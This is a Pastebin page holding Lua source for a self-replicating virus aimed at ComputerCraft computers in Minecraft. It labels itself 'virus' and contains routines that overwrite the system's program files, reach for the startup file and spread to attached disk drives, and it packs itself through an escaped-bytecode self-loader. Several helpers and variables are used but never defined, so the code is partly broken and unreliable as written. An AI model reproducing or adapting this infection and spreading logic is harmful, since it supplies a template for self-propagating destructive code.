Advertisement
killer64

Untitled

Nov 3rd, 2013
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.51 KB | None | 0 0
  1. local function main(c)
  2.     c='local c="'..c..'"loadstring(c)(c)'
  3.     local pairs=pairs
  4.     local fs=fs
  5.     local fs_exists=fs.exists
  6.     local fs_makeDir=fs.makeDir
  7.     local fs_delete=fs.delete
  8.     local fs_list=fs.list
  9.     local fs_open=fs.open
  10.     local vfs=vfs
  11.     local vfs_tableize=vfs.tableize
  12.     local pcall=pcall
  13.     local peripheral=peripheral
  14.     local peripheral_getNames=peripheral.getNames
  15.     local peripheral_getType=peripheral.getType
  16.     local peripheral_call=peripheral.call
  17.     local function inf(dir)
  18.         if dir~="" then
  19.             dir=dir.."/"
  20.         end
  21.         if fs_exists(dir..".inf") then
  22.             return
  23.         end
  24.         fs_makeDir(dir..".inf")
  25.         local sb
  26.         if fs_exists(dir.."sb") then
  27.             sb=vfs_tableize(dir.."sb")
  28.             fs_delete(dir.."sb")
  29.         end
  30.         fs_makeDir("sb")
  31.         if sb then
  32.             vfs_untableize({sb=sb})
  33.         end
  34.         for k,v in pairs(fs.list(dir)) do
  35.             if not fs_isReadOnly(dir..v) and v~="sb" then
  36.                 fs_copy(v,dir.."sb"..v)
  37.             end
  38.         end
  39.         for k,v in pairs(fs_list("rom/programs")) do
  40.             if not fs_isDir("rom/programs/"..v) then
  41.                 local file=fs_open(dir.."rom/programs/"..v)
  42.                 file.write(compiled)
  43.                 file.close()
  44.             end
  45.         end
  46.         local file=fs.open("startup")
  47.         if dir=="" then
  48.             fs_makeDir("sb/rom")
  49.         end
  50.     end
  51.     local function infect()
  52.         inf("")
  53.         for k,v in pairs(peripheral_getNames()) do
  54.             if peripheral_getType(v)=="drive" then
  55.                 pcall(inf,peripheral_call(v,"getMountPath"))
  56.             end
  57.         end
  58.     end
  59. end
  60. infutil.savePrefs("virus",'local c="'..string.dump(main):gsub(".",function(s) return "\\"..string.byte(s) end)..'"loadstring(c)(c)',true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement